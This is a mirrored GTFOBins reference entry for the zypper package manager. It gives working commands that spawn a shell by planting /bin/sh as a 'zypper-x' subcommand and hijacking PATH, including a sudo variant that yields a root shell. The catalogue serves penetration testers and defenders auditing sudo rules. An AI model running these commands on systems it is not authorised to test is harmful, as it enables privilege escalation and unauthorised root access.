mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
b92d9e0ec2
`PATH` is a forbidden variable that is not preserved by -E anyway.
21 lines
611 B
Markdown
21 lines
611 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- description: This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges.
|
|
code: |
|
|
zypper x
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
cp /bin/sh $TF/zypper-x
|
|
export PATH=$TF:$PATH
|
|
zypper x
|
|
sudo:
|
|
- description: This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges.
|
|
code: |
|
|
sudo zypper x
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
cp /bin/sh $TF/zypper-x
|
|
sudo PATH=$TF:$PATH zypper x
|
|
---
|